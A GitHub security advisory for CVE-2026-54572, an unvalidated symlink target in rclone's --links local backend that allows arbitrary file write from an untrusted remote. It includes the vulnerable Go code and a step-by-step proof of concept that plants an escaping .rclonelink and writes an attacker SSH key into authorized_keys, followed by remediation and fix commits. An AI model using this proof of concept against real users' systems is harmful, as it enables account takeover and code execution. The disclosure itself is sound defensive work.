GHSA-CF44-9PGV-M4XC
Vulnerability from github – Published: 2026-08-05 20:15 – Updated: 2026-08-05 20:15Summary
With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.
Details
backend/local/local.go, Object.Update():
} else {
out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
if err == nil {
if _, err := os.Lstat(o.path); err == nil {
os.Remove(o.path)
}
// Use the contents for the copied object to create a symlink
err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed)
}
}
symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.
PoC
1) Get the official stable binary:
curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3
2) Create an attacker-controlled "remote" (two objects) and a victim layout:
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh # empty (before)
3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):
cd evil && python3 -m http.server 38080 --bind 127.0.0.1
4) VICTIM ACTION — back up the untrusted remote preserving symlinks:
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
5) Observe — a file landed OUTSIDE ./dest:
ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest)
cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest
pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.
Impact
An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).
Remediation
In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.74.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.74.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54572"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T20:15:01Z",
"nvd_published_at": "2026-07-14T22:17:16Z",
"severity": "HIGH"
},
"details": "### Summary\nWith `-l/--links`, rclone serializes symlinks as `\u003cname\u003e.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(\u003cobject body\u003e, \u003cdest path\u003e)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim\u0027s filesystem. Because a sibling object named `\u003cname\u003e.rclonelink` sorts before `\u003cname\u003e/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2014 i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n out = nopWriterCloser{\u0026symlinkData} // body of \u003cname\u003e.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n if err == nil {\n if _, err := os.Lstat(o.path); err == nil {\n os.Remove(o.path)\n }\n // Use the contents for the copied object to create a symlink\n err = os.Symlink(symlinkData.String(), o.path) // \u003c-- target NEVER validated (abs / .. allowed)\n }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` \u2192 `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip \u0027*/rclone\u0027 -d . # ./rclone -\u003e v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf \u0027%s\u0027 \"$PWD/victimhome/.ssh\" \u003e evil/pwn.rclonelink # body = abs path OUTSIDE dest\nprintf \u0027ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n\u0027 \u003e evil/pwn/authorized_keys\nls -l victimhome/.ssh # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote \u2014 bucket / WebDAV / HTTP share):\n```\ncd evil \u0026\u0026 python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION \u2014 back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe \u2014 a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn # dest/pwn -\u003e .../victimhome/.ssh (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned \u003c-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2192 code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim\u0027s host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.",
"id": "GHSA-cf44-9pgv-m4xc",
"modified": "2026-08-05T20:15:01Z",
"published": "2026-08-05T20:15:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54572"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "rclone: Unvalidated symlink target in local `--links` \u2014 arbitrary file write from an untrusted remote"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.